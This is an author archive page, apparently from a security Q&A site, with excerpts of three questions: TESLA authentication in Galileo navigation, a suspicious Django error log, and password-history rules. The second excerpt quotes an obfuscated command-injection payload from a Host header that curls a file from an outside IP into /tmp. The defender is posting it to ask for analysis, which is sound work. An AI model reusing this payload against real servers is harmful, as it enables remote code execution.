Author Archives: Dennis

Could an attack on time synchronization with a Galileo Satellite be used to spoof navigation messages with TESLA-based authentication?

Posted on by

I read about an attack on the TESLA protocol which will be used in Galileo’s navigation message authentication (Full article can be found here: https://doi.org/10.1007/978-3-319-49806-5_1)
Basically, an attacker delays all messages to make… Continue reading Could an attack on time synchronization with a Galileo Satellite be used to spoof navigation messages with TESLA-based authentication?→

Is this invalid HTTP_HOST header part of an exploit?

Posted on by

We received a large number of error messages from our django application, like this:

Invalid HTTP_HOST header: ‘target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information: 
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...

I have not seen anything like it before, and I’m having trouble figuring out what it means. Could this be part of some exploit, or am I just being paranoid?

Continue reading Is this invalid HTTP_HOST header part of an exploit?→

Disallowing new password if it contains sequency of 4 characters present in 10 previously used passwords [duplicate]

Posted on by

This question already has an answer here:

How do some sites (e.g. online banks) only ask for specific characters from a password without storing it as plaintext?

6 answer… Continue reading Disallowing new password if it contains sequency of 4 characters present in 10 previously used passwords [duplicate]→